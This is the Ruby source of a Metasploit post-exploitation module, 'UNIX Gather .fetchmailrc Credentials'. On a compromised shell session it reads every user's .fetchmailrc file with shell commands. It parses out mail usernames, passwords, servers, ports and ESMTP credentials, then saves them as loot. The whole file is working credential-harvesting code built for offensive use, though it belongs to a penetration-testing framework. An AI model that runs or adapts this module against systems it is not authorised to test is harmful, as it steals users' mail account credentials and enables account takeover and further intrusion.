metasploit-framework/modules/post/multi/gather/fetchmailrc_creds.rb

161 lines
5.5 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Unix
def initialize(info={})
super( update_info( info,
'Name' => 'UNIX Gather .fetchmailrc Credentials',
'Description' => %q{
Post Module to obtain credentials saved for IMAP, POP and other mail
retrieval protocols in fetchmail's .fetchmailrc
},
'License' => MSF_LICENSE,
'Author' => [ 'Jon Hart <jhart[at]spoofed.org>' ],
'Platform' => %w{ bsd linux osx unix },
'SessionTypes' => [ 'shell' ]
))
end
def run
# A table to store the found credentials.
cred_table = Rex::Text::Table.new(
'Header' => ".fetchmailrc credentials",
'Indent' => 1,
'Columns' =>
[
"Username",
"Password",
"Server",
"Protocol",
"Port"
])
# walk through each user directory
enum_user_directories.each do |user_dir|
fetchmailrc_file = ::File.join(user_dir, ".fetchmailrc")
begin
# read their .fetchmailrc if it exists
lines = cmd_exec("test -r #{fetchmailrc_file} && cat #{fetchmailrc_file}").lines.to_a
next if (lines.size <= 0)
print_status("Parsing #{fetchmailrc_file}")
# delete any comments
lines.delete_if { |l| l =~ /^#/ }
# trim any leading/trailing whitespace
lines.map { |l| l.strip! }
# turn any multi-line config options into a single line to ease parsing
(lines.size - 1).downto(0) do |i|
# if the line we are reading doesn't signify a new configuration section...
if ((not lines[i] =~ /^(?:defaults|poll|skip)\s+/))
# append the current line to the previous
lines[i-1] << " "
lines[i-1] << lines[i]
# and axe the current line
lines.delete_at(i)
end
end
# any default options found, used as defaults for poll or skip lines
# that are missing options and want to use defaults
defaults = {}
# now parse each line found
lines.each do |line|
# if there is a 'default' line, save any of these options as
# they should be used when subsequent poll/skip lines are missing them.
if (line =~ /^defaults/)
defaults = parse_fetchmailrc_line(line).first
next
end
# now merge the currently parsed line with whatever defaults may have
# been found, then save if there is enough to save
parse_fetchmailrc_line(line).each do |cred|
cred = defaults.merge(cred)
if (cred[:host] and cred[:protocol])
if (cred[:users].size == cred[:passwords].size)
cred[:users].each_index do |i|
cred_table << [ cred[:users][i], cred[:passwords][i], cred[:host], cred[:protocol], cred[:port] ]
end
else
print_error("Skipping '#{line}' -- number of users and passwords not equal")
end
end
end
end
rescue ::Exception => e
print_error("Couldn't read #{fetchmailrc_file}: #{e.to_s}")
end
end
if cred_table.rows.empty?
print_status("No creds collected")
else
print_line("\n" + cred_table.to_s)
# store all found credentials
p = store_loot(
"fetchmailrc.creds",
"text/csv",
session,
cred_table.to_csv,
"fetchmailrc_credentials.txt",
".fetchmailrc credentials")
print_status("Credentials stored in: #{p.to_s}")
end
end
# Parse a line +line+, assumed to be from a fetchmail configuration file,
# returning an array of all credentials found on that line
def parse_fetchmailrc_line(line)
creds = []
cred = {}
# parse and clean any users
users = line.scan(/\s+user(?:name)?\s+(\S+)/).flatten
unless (users.empty?)
cred[:users] = []
users.each do |user|
cred[:users] << user.gsub(/^"/, '').gsub(/"$/, '')
end
end
# parse and clean any passwords
passwords = line.scan(/\s+pass(?:word)?\s+(\S+)/).flatten
unless (passwords.empty?)
cred[:passwords] = []
passwords.each do |password|
cred[:passwords] << password.gsub(/^"/, '').gsub(/"$/, '')
end
end
# parse any hosts, ports and protocols
cred[:protocol] = $1 if (line =~ /\s+proto(?:col)?\s+(\S+)/)
cred[:port] = $1 if (line =~ /\s+(?:port|service)\s+(\S+)/)
cred[:host] = $1 if (line =~ /^(?:poll|skip)\s+(\S+)/)
# a 'via' option overrides poll/skip
cred[:host] = $1 if (line =~ /\s+via\s+(\S+)/)
# save this credential
creds << cred
# fetchmail can also "forward" mail by pulling it down with POP/IMAP and then
# connecting to some SMTP server and sending it. If ESMTP AUTH (RFC 2554) credentials
# are specified, steal those too.
cred = {}
cred[:users] = [ $1 ] if (line =~ /\s+esmtpname\s+(\S+)/)
cred[:passwords] = [ $1 ] if (line =~ /\s+esmtppassword\s+(\S+)/)
# XXX: what is the best way to get the host we are currently looting? localhost is lame.
cred[:host] = (line =~ /\s+smtphost\s+(\S+)/ ? $1 : 'localhost')
cred[:protocol] = 'esmtp'
# save the ESMTP credentials if we've found enough
creds << cred if (cred[:users] and cred[:passwords] and cred[:host])
# return all found credentials
creds
end
end